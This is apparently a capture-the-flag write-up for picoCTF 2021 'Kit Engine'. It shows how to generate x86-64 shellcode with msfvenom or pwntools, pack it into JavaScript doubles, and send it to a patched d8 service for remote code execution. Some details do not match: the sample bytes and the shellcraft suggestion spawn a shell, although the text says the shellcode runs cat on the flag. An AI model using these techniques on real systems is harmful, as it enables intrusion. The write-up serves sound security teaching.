Kit Engine picoCTF 2021 Solution

Published: April 2, 2026

Description

The d8 JavaScript shell has been patched with a new function. Use it to execute shellcode and cat the flag.

Remote

Connect to the service. It asks for the size of your JavaScript file, then runs it through the patched d8 interpreter.

bash
nc mercury.picoctf.net <PORT_FROM_INSTANCE>

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Understand the patch: assembleEngine()
    Observation
    I noticed the challenge description said d8 was patched with a new function, which suggested that reading the patch to understand assembleEngine() was the necessary first step before writing any exploit.
    The patch adds a JavaScript function called assembleEngine() that accepts an array of JavaScript doubles (64-bit floats), interprets their bytes as machine code, and executes them. Each element in the array is a Float64 whose 8 raw bytes are the next 8 bytes of shellcode.
    Learn more

    How assembleEngine works: It maps a page of memory as executable, converts each Float64 to its 8-byte IEEE-754 representation, copies those bytes sequentially, then calls the resulting buffer as a function. You provide raw shellcode packed into doubles.

    The key insight is that you don't need to exploit any V8 vulnerability. The patch directly provides a way to execute arbitrary machine code via a JavaScript API call.

  2. Step 2
    Generate shellcode for cat flag.txt
    Observation
    I noticed that assembleEngine() executes raw bytes as x86-64 machine code, which suggested I needed to generate shellcode that runs 'cat flag.txt' directly rather than spawning an interactive shell, since the remote service has no interactive terminal.
    Use msfvenom (Metasploit Framework) or pwntools shellcraft to generate x86-64 Linux shellcode that executes 'cat flag.txt'. Pad to a multiple of 8 bytes with nop (0x90) instructions.
    bash
    # Using Metasploit Framework in Docker:
    bash
    docker pull phocean/msf
    bash
    docker run --rm -it phocean/msf msfvenom -p linux/x64/exec CMD='cat flag.txt' -f c
    bash
    bash
    # Using pwntools shellcraft:
    python
    python3 -c "from pwn import *; context.arch='amd64'; print(shellcraft.sh())"

    Expected output

    picoCTF{vr00m_vr00m}
    What didn't work first

    Tried: Generating 32-bit (x86) shellcode with msfvenom -p linux/x86/exec instead of linux/x64/exec

    The d8 binary and the patched assembleEngine() are 64-bit, so 32-bit shellcode runs in the wrong register width and immediately faults with SIGILL or SIGSEGV. The architecture flag must be linux/x64/exec (or pwntools context.arch='amd64') to produce valid x86-64 instructions.

    Tried: Using shellcraft.sh() to get a /bin/sh shell instead of shellcraft targeting cat flag.txt

    shellcraft.sh() opens an interactive /bin/sh, but the remote service reads input in a batch send-and-receive flow - there is no interactive terminal attached. The shell spawns, waits for input it never gets, and the connection times out. You need shellcode that executes 'cat flag.txt' directly (execve with argv=['/bin/cat','flag.txt']) so the output is returned in the single recvall() call.

    Learn more

    The shellcode needs to be padded to a length that is a multiple of 8 bytes so it divides evenly into Float64 values. Add 0x90 (nop) bytes at the end to reach the next multiple of 8. For a 54-byte shellcode payload, add 2 nops to reach 56 bytes (7 doubles).

  3. Step 3
    Pack shellcode into Float64 values
    Observation
    I noticed that assembleEngine() accepts a JavaScript array of Float64 doubles and reinterprets their raw bytes as machine code, which suggested using Python's struct.unpack('<d', ...) to repackage the shellcode bytes 8 at a time into little-endian IEEE-754 doubles without altering their order.
    Convert the padded shellcode bytes into an array of JavaScript doubles using SharedArrayBuffer/DataView to reinterpret 8 bytes at a time as a Float64. Pass the array to assembleEngine().
    python
    # Python script to build the JS exploit file:
    python3 << 'EOF'
    import struct
    
    # Your shellcode (padded to multiple of 8 bytes)
    shellcode = (
        b"\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
        # ... (full shellcode from msfvenom or pwntools)
    )
    # Pad to multiple of 8
    while len(shellcode) % 8 != 0:
        shellcode += b"\x90"
    
    doubles = []
    for i in range(0, len(shellcode), 8):
        chunk = shellcode[i:i+8]
        val = struct.unpack("<d", chunk)[0]
        doubles.append(repr(val))
    
    js = f"""
    let payload = [{', '.join(doubles)}];
    assembleEngine(payload);
    """
    print(js)
    print(f"// Script length: {len(js)} bytes")
    EOF
    What didn't work first

    Tried: Packing shellcode bytes using big-endian format with struct.unpack('>d', chunk) instead of '<d'

    Big-endian packing reverses the byte order within each 8-byte chunk, so assembleEngine() writes the bytes back in the wrong sequence and executes garbage instead of the intended instructions. x86-64 is a little-endian architecture, and struct.unpack('<d', ...) is required to preserve the original byte order when the double is written to the executable buffer.

    Tried: Skipping the padding step and calling assembleEngine() with a payload array whose last chunk is fewer than 8 bytes

    struct.unpack('<d', chunk) requires exactly 8 bytes and raises a struct.error if the slice is shorter. Even if that were patched around, the final double would have undefined padding bytes that could corrupt the last instruction. Padding to a multiple of 8 with 0x90 (nop) bytes ensures both the struct call succeeds and the CPU safely slides through any trailing nops.

    Learn more

    struct.unpack("<d", chunk) reinterprets 8 raw bytes as a little-endian IEEE-754 double. When JavaScript reads this double back out and writes it to memory, it recovers the original bytes. This is not any kind of encryption or encoding; it is a direct memory reinterpretation.

  4. Step 4
    Send the exploit to the server
    Observation
    I noticed the service protocol requires declaring the byte length of the JavaScript file before sending it, which suggested using pwntools to precisely measure and send the script so d8 receives exactly the declared number of bytes.
    Save the JavaScript exploit to a file, measure its length, and send it to the remote service which will run it through the patched d8.
    python
    python3 build_exploit.py > exploit.js
    bash
    wc -c exploit.js
    python
    # Then connect and paste the length followed by the script:
    python3 << 'EOF'
    from pwn import *
    
    io = remote("mercury.picoctf.net", <PORT_FROM_INSTANCE>)
    script = open("exploit.js", "rb").read()
    io.sendlineafter(b"size:", str(len(script)).encode())
    io.send(script)
    print(io.recvall(timeout=5).decode())
    EOF
    What didn't work first

    Tried: Sending the byte count of the Python-generated output before it is written to a file, then feeding a stale or mismatched exploit.js

    If you run 'python3 build_exploit.py | wc -c' separately from 'python3 build_exploit.py > exploit.js', the two invocations may differ by trailing newline handling and produce different byte counts. The service reads exactly the declared number of bytes, so an off-by-one leaves the last character unread or causes d8 to receive a truncated script that fails to parse. Always use 'wc -c exploit.js' after writing the file to get the length of the exact bytes you will send.

    Tried: Using io.sendline() instead of io.send() to deliver the JavaScript payload

    sendline() appends a newline byte to the payload, making the byte count sent one more than the declared size. The service's read loop consumes the declared number of bytes, so d8 receives the full script plus the extra newline gets left in the buffer and can corrupt the next protocol exchange. Use io.send(script) with no trailing newline to send exactly len(script) bytes.

Interactive tools
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.

Flag

Reveal flag

picoCTF{vr00m_vr00m}

The patch adds assembleEngine() which executes an array of Float64 values as machine code. Pack your shellcode into doubles and call assembleEngine() to get RCE.

Key takeaway

JavaScript engine exploitation commonly relies on the ability to reinterpret typed data (such as IEEE-754 doubles) as raw bytes, bridging the gap between the scripting layer and native machine code. When a runtime exposes any mechanism that maps user-controlled data into an executable memory region, arbitrary code execution follows directly from crafting the right byte sequence. Real-world V8 exploits in browser pwn chains use similar type-confusion primitives to achieve the same addrof/fakeobj/shellcode pipeline without a convenient assembleEngine shortcut.

Related reading

Want more picoCTF 2021 writeups?

Useful tools for Binary Exploitation

What to try next